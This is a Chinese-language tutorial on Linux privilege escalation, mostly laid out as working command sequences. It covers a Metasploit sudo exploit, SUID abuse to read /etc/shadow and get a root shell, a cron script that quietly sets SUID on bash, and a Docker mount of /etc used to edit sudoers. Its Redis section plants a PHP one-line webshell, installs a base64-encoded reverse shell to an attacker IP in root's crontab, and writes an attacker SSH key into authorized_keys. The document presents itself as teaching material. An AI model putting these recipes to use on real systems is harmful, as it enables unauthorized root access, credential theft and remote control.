Linux系统漏洞提权
本文最后更新于 2024-07-26,文章内容可能已经过时。
Linux提权-01
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
0、系统提权一般从三个方面考虑问题
- 系统漏洞
- 管理员的配置错误
- 第三方软件提权(redis、mysql 等)
一 、系统漏洞的检测工具
1.1 、linux-exploit-suggester
这是一个系统提权漏洞的检测工具
下载地址 :https://github.com/The-Z-Labs/linux-exploit-suggester
下载之后,上传到目标主机 ,执行他的 .sh
文件 。
┌──(root㉿kali)-[~/桌面/tools/Linux_exploit/linux-exploit-suggester]
└─# ./linux-exploit-suggester.sh
zsh: ./linux-exploit-suggester.sh: bad interpreter: /bin/bash^M: 没有那个文件或目录
这里我运行出现问题,出现linux报错 /bin/bash^M:解释器错误:没有那个文件或目录。
这是因为我在Windows下编写或复制的脚本文件拷贝到Linux环境中运行时会出现运行不了的情况。主要还是Windows的换行符为\r\n,而Linux环境中的换行符号为\n。
解决办法:
sed -i 's/\r$//' linux-exploit-suggester.sh
1.2 、linux-smart-enumeration
扫描系统漏洞
下载地址 :https://github.com/diego-treitos/linux-smart-enumeration
[root@localhost tools]# cd linux-smart-enumeration-master
[root@localhost linux-smart-enumeration-master]# clear
[root@localhost linux-smart-enumeration-master]# ls
cve doc LICENSE lse.sh README.md screenshots tools
[root@localhost linux-smart-enumeration-master]# ./lse.sh
查看所有 CVE漏洞
1.3、linpeas
可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码,输出非常多。
下载地址https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
1.4、MSF提权辅助工具
在MSF有一个模块, 叫后渗透测试模块 ,在后渗透测试模块中 ,就有提权模块 。
后渗透测试模块 ,
Post
后渗透测试模块中 搜索suggester
,就是提权模块所有的后渗透测试模块,执行时,都需要
session
首先弄一个getshell的普通用户
可以看到上线为普通用户xiaoe
拿到shell后bg回到msf模块,session查看id为1,
界面输入 search suggester
查找提权模块
输入序号使用,再输入 show options
查看配置信息
设置需要的session。即之前bg退出来后session的id值。run执行。
这里绿色的就是有用的。这里选第4个
输入 use exploit/linux/local/sudo_baron_samedit
输入 show options
查看配置
将之前的SEESION在这里用上。输入 set SESSION 1
,run执行
可以看将root密码改成了 urvfbyylbienrvt
,回到普通用户进行登录即可完成提权。
二、管理员配置错误
系统配置提权:
2.1 、sudoer提权
网络管理员在给普通用户授权时,给这个用户授予了操作所有功能的权限 。
给普通用户授权利用的这个配置文件 :
/etc/sudoers
在这个文件夹中给普通用户配置所有的权限 :
wugd ALL=(ALL) NOPASSWD:ALL # 配置所有权限
wugd ALL=(root) NOPASSWD:/usr/bin/firewall-cmd 用户wugd在任意主机上以root身份免密执行 firewdlld 命令
利用普通账户操作时 ,只需要再此命令之前加上 sudo
sudo cat /etc/shadow
此操作权限维持的意义 大于权限提升的意义
2.2 、SUID提权
1、SUID的工作机制
Linux进程在运行的时候有以下三个UID:
Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。
Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。
Set UID:Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行命令。主要设置于 chmod 命令中第user第3位。
[root@localhost bin]# ll | grep bash
-rwxr-xr-x. 1 root root 964608 10月 31 2018 bash # 当前bash 命令的属主 是 root
[root@localhost bin]# chmod u+s /usr/bin/bash
[root@localhost bin]# ll | grep bash
-rwsr-xr-x. 1 root root 964608 10月 31 2018 bash # 多了一个 S权限
# 将来任何用户 使用bash命令时 都是hi以 属主 root的权限运行
[root@localhost bin]# su wugd
bash-4.2$ id
uid=1000(wugd) gid=1000(wugd) 组=1000(wugd) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.2$ bash -p
bash-4.2# id
uid=1000(wugd) gid=1000(wugd) euid=0(root) 组=1000(wugd) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
CentOS系统中存在可执行程序/bin/cat,属主属组均为root,任何用户对其都拥有执行权限。另外存在系统文件/etc/shadow,属主属组也都是root,不提供任何访问权限。
2、SUID应用举例
假设系统中存在一个普通用户,名为user1,UID和GID都是1000。该用户对/bin/cat具有执行权限,对/etc/shadow不具有任何权限。默认情况下,user1执行/bin/cat,系统会创建一个cat进程,进程的Real UID和Effective UID相同,都是运行该进程的user1用户的UID(1000)。cat进程访问/etc/shadow,由于进程的EUID不具备任何访问权限,所以系统会拒绝其访问目标。
为/bin/cat设置SUID权限之后,user1创建的cat进程的Effective UID自动被设置为/bin/cat文件的属主的UID值,也就是root的UID:0。这样该进程访问/etc/shadow时,虽然目标文件拒绝任何人访问,但是由于进程的Effective UID为0,具备超级用户权限,可以访问任意文件,所以就可以显示shadow文件的内容了。
如果某个设置了suid权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,也就是说,这是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限。
为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果SUID配置不当,则很容易造成提权。
例如 :cat命令 , 在普通账户中,不能查看 /etc/shadow
,如果我们给cat 命令加上S权限,那么久可以查看 /etc/shadow
文件
whereis cat # 产看命令的路径
# 设置s权限
chmod u+s /usr/bin/cat
su wugd # 切换账户
cat /etc/shadow # 可以查看成功
面试题 : suders 和 suid 提权 有什么区别 ?
suoders
和 suid
提权都是临时性的提权
主要区别:
- suders 是通过配置
sudo
命令来允许特定用户在执行命令时以超级用户权限运行,需要用户本人的密码验证。 - suid 是通过设置文件权限来让程序在执行时暂时获得文件所有者(通常是root)的权限,从而允许普通用户执行需要特权的程序。
总结来说,“suders” 提供了更灵活的、基于用户的临时权限提升机制,而 “suid” 则是通过文件权限设置实现程序执行时的权限提升。
linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :
/usr/libexec/pt_chown
/usr/libexec/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chage
/usr/bin/sudo
/usr/sbin/usernetctl
/bin/ping
/bin/ping6
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/pam_timestamp_check
/sbin/unix_chkpwd
比如我们给
/usr/bin/bash
加上s
权限 :chmod u+s /usr/bin/bash su wugd bash -p id # 执行id 查看 当前用户的执行权限 ,发现是 euid(root)
在我们的linux的系统中,有以下命令的 S
权限 有安全隐患 。
chmod u+s /bin/bash $ bash -p
chmod u+s /bin/sh $ sh -p
chmod u+s /bin/env $ env /bin/sh -p
chmod u+s /bin/vi $ vi /etc/shadow
chmod u+s /bin/awk $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat $ cat /etc/shadow
chmod u+s /usr/bin/curl $ curl file:///etc/shadow
chmod u+s /bin/find $ find /etc/passwd -exec cat /etc/shadow \;
find /etc/passwd -exec bash -p \;
此操作权限维持的意义 大于权限提升的意义
查看系统中所有设置看 SUID权限的文件 :
find . -perm /4000
2.3 、定时器提权
定时器是我们linux中的一个命令,他可以让我们的命令按照我们设置的时间 去定时运行 :
crontab
如何定时 ?
* * * * * - - - - - | | | | | | | | | +----- 星期中星期几 (0 - 6) (星期天 为0) | | | +---------- 月份 (1 - 12) | | +--------------- 一个月中的第几天 (1 - 31) | +-------------------- 小时 (0 - 23) +------------------------- 分钟 (0 - 59)
时间设置 含义 * * * * *
每分钟执行一次 0 * * * *
每小时的第 0 分钟执行一次 0 0 * * *
每天的午夜(0 点)执行一次 0 0 * * 0
每周日的午夜(0 点)执行一次 0 0 1 * *
每个月的第一天午夜(0 点)执行一次 0 0 L * *
每个月的最后一天午夜(0 点)执行一次 0 0 1 1 *
每年的第一天午夜(0 点)执行一次 0 0 * * 3
每周三的午夜(0 点)执行一次 0 0 1,15 * *
每个月的第 1 和第 15 天午夜(0 点)执行一次 0 0 * * FRI
每周五的午夜(0 点)执行一次 0 0 * * 5
每周五的午夜(0 点)执行一次 0 8-17 * * *
每天的上午 8 点到下午 5 点每小时执行一次 0 12 * * MON
每周一的中午(12 点)执行一次 0 0 15 * *
每个月的第 15 天午夜(0 点)执行一次 0 0 * * 3
每周三的午夜(0 点)执行一次 0 8-17 * * *
每天的上午 8 点到下午 5 点每小时执行一次 0 0 * * 1-5
每个工作日的午夜(0 点)执行一次 0 0 1 * FRI
每个月的第一个星期五午夜(0 点)执行一次 0 0 1,15 * *
每个月的第 1 和第 15 天午夜(0 点)执行一次 0 0 15 1 *
每年的 1 月 15 日午夜(0 点)执行一次 0 0 * * 7
每周日的午夜(0 点)执行一次 0 0 * * 5
每周五的午夜(0 点)执行一次
crontab -l
查看系统中的所有的
crontab -e
创建定时任务
(1)、创建一个执行文件(mysite.sh)
curl http://192.168.91.128/dashboard/phpinfo.php > /dev/null
if [ $? -ne 0 ]; then
/opt/lampp/lampp start
echo "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /opt/data/site_check.log
fi
chmod u+s /usr/bin/bash
#echo wugd ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers
firewall-cmd --list-port | grep 80
if [ $? -ne 0 ]; then
firewall-cmd --add-port=80/tcp
echo "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /opt/data/site_check.log
fi
设置 mysite.sh 可执行权限 chmod u+x mysite.sh
(2)、创建一个定时任务
利用crontab -e 创建 :
*/1 * * * * /opt/mysite.sh
(3)、测试
[root@localhost bin]# ll | grep bash
-rwsr-xr-x. 1 root root 964608 10月 31 2018 bash
lrwxrwxrwx. 1 root root 10 5月 14 13:26 bashbug -> bashbug-64
-rwxr-xr-x. 1 root root 6964 10月 31 2018 bashbug-64
lrwxrwxrwx. 1 root root 4 5月 14 13:26 sh -> bash
[root@localhost bin]# su wugd
bash-4.2$ id
uid=1000(wugd) gid=1000(wugd) 组=1000(wugd) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.2$ bash -p
bash-4.2# id
uid=1000(wugd) gid=1000(wugd) euid=0(root) 组=1000(wugd) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.2#
2.4 、docker容器提权
查看是否有docker组 -> 查看当前获取到的普通用户是否在docker组里面 -> 如果在,创建一个容器,并把etc目录挂载到宿主机的etc目录 -> 修改/etc/passwd中的普通用户id为0
例如 :拉取一个centos 容器
docker search centos
docker pull centos
docker images
docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash
docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash
#docker -i 前端交互模式 -t tty终端显示 privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。
此时,容器内部的/etc目录和物理机的一一同步对应的,可选直接echo最加:
echo `xiaoe ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers
最后,直接用sudoers提权方式提权即可。
docker 安装 :
1、Docker 要求 CentOS 系统的内核版本高于 3.10 ,查看本页面的前提条件来验证你的CentOS 版本是否支持 Docker 。
通过 uname -r 命令查看你当前的内核版本
uname -r
2、确保 yum 包更新到最新。
yum -y update
3、卸载旧版本(如果安装过旧版本的话)
yum remove docker docker-common docker-selinux docker-engine
4、安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的
yum install -y yum-utils device-mapper-persistent-data lvm2
5、设置yum源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
6、可以查看所有仓库中所有docker版本,并选择特定版本安装
yum list docker-ce --showduplicates | sort -r
7、安装docker
yum install -y docker-ce #由于repo中默认只开启stable仓库,故这里安装的是最新稳定版
8、启动并加入开机启动
systemctl start docker
systemctl enable docker
9、验证安装是否成功(有client和server两部分表示docker安装启动都成功了)
docker version
如果看到了Client和Server两部分,说明安装成功。
配置镜像加速
国外镜像一般很难访问,需要配置镜像加速器。
sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://15czhewx.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker
三、第三方软件(redis)提权:
redis安装 :
redis-6.0.6.tar.gz
上传到 /opt/redis 目录下 ,解压缩
tar -zxvf redis-6.0.6.tar.gz # 切换 cd redis-6.0.6/
检查是否有gcc环境 :
gcc -v
如果没有,需要安装gcc 环境 ,
安装 :
yum -y install gcc gcc-c++ autoconf pcre pcre-devel make automake yum -y install wget httpd-tools vim gcc -v
升级到 9.x 版本
yum -y install centos-release-scl yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils scl enable devtoolset-9 bash
注意的是scl命令启用只是临时的,退出shell或重启就会恢复原系统gcc版本。 如果要长期使用gcc 9.3的话
echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
编译redis :
make # 如果make 编译出错, 使用瞎买的参数 进行编译 make MALLOC=libc
安装redis :
make install
默认安装位置 :/usr/local/bin
把redis 配置文件 redis.conf 复制到 用户目录下 :
cp /opt/redis/redis-6.0.6/redis.conf /home/myredis
在 /home/myredis 目录下 启动 redis 服务
redis-server redis.conf
修改配置文件 (redis.conf):
- 查找 bind,将已有的 bind 127.0.0.1 -::1 注释掉 或者 写成
0.0.0.0
- 查找 protected-mode yes,将其修改为:protected-mode no
- 但是设置密码:requirepass 123456
- daemonize no 修改 为 daemonize yes
完成上述配置后,使用 pkill redis-server 停止 Redis 服务器,再重启 Redis 即可
客户端 连接:
./redis-cli -h 192.168.12.141 -p 6379 -a 123456
Redis的基本操作 :
redis是一个键值对象的非关系型数据库 ,操作比较简单,效率非常的高,目前大多数项目都会使用他作为缓存 。
select n # n : 0--15 的数字 切换数据库 redis 默认一共 16个数据库
keys * # 查看所有的 键
set k v # 设置值
setnx k v # 设置值时 ,如果Key存在 设置不成功 key不存在 可以设置成功
flushdb # 清空当前 数据库中的 所有的键
flushall # 清空 所有数据库中的键
# 如何获取 配置文件中 配置的数据
# 获取持久化文件的名字 及 存储路径
config get dbfilename
config get dir
# 使用命令设置 配置文件中的配置值
config set dbfilename shell.php
config set dir /opt/lampp/htdocs/security
#强制持久化,立即持久化
save
Redis提权的前提条件 :
- 需要能够破解redis的密码 或者对方主机上redis没有设置密码
- redis启动,最好是 root账户 启动的
- redis能够利用命令修改配置文件的内容
下面的实验,都是在满足上述三个条件的基础上完成的 。
3.1 、持久化文件提权
(1)、修改持久化文件的名字
config set dbfilename shell.php
(2)、修改持久化文件的保存路径
config set dir /opt/lampp/htdocs/security
(3)、保存目的数据(木马)
set 1 "<?php assert($_POST[a]);?>"
(4)、强制立即持久化
save
(5)、启动php服务(不是必须的)
/opt/lampp/xampp start
(6)、利用火狐测试
必须当前主机中配置有php的服务 ,否则不能使用 。
如果有jsp、asp的服务,也可以的 。
(7) 使用webshell客户端连接一句话木马,如蚁剑等
3.2 、redis操作linux系统的定时任务
利用redis操作 Linux系统中的定时任务的文件 /var/spool/cron/root
,如果我们向这个文件中保存一个定时任务,那么这个定时任务就可以执行 。
(1)、修改持久化文件的名字及路径
config set dbfilename root
config set dir /var/spool/cron/
(2)、保存定时任务的功能
做一个反弹shell .
bash -i >& /dev/tcp/192.168.91.142/6666 0>&1
#192.168.91.142为kali的ip
#对上述的进行base64位编码
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjE0Mi82NjY2IDA+JjE= |base64 -d |bash
#设置定时器任务,一分钟执行一次
set a "\n\n*/1 * * * * echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOC82NjY2IDA+JjEg= |base64 -d |bash\n\n"
(3)、启动监听(Kali)
nc -lvp 6666
getshell上线后运行命令的时候,需要加上命令的全路径
如何防御:
如何防止redis的提权 ?
- 给redis设置密码 尽可能复杂
- 禁止condifg命令 和 flushdb 、flushall 命令
redis.conf配置文件 reconmand
rename-command CONFIG "" rename-command FLUSHDB "" rename-command FLUSHALL ""
3.3 、利用公钥和私钥登录
(1)、生成公钥和私钥
ssh-keygen -t rsa
在windows命令行中 生成公钥和私钥
(2)、修改持久化文件名字和路径
config set dir /root/.ssh
config set dbfilename authorized_keys
save
root目录下 如果没有.ssh目录 ,自己创建一个
(3)、把公钥内容存储到持久化文件中
set 2 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n"
(4)、在生成公钥和私钥的windows上登录
- 感谢你赐予我前进的力量